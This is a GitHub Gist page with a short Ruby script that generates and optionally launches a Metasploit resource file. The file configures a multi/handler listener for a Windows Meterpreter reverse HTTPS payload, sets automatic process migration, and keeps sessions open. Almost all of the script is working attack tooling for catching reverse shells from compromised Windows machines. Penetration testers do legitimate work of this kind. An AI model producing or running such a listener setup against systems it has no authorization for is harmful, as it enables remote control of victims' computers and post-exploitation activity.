Last active
August 29, 2015 14:20
-
-
Save gabemarshall/03a37d084214e5a2aae1 to your computer and use it in GitHub Desktop.
Simple ruby script to generate a metasploit rc file
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
def meterpit(lhost, lport) | |
options = "use multi/handler\n" | |
options += "set payload windows/meterpreter/reverse_https\n" | |
options += "set LHOST #{lhost}\nset LPORT #{lport}\n" | |
options += "set ExitOnSession false\n" | |
options += "set AutoRunScript post/windows/manage/smart_migration\n" | |
options += "exploit -j\n" | |
File.write('/tmp/listen.rc', options) | |
puts "\nWould you like to start this rc file? (Y/n)" | |
msf_bool = $stdin.gets.chomp | |
msf_bool = msf_bool.upcase | |
puts "rc file written to /tmp/listen.rc" | |
if msf_bool == 'Y' | |
system("msfconsole -r /tmp/listen.rc") | |
else | |
puts "" | |
puts options | |
puts "\n\n Bye!" | |
end | |
end | |
meterpit(ARGV[0], ARGV[1]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment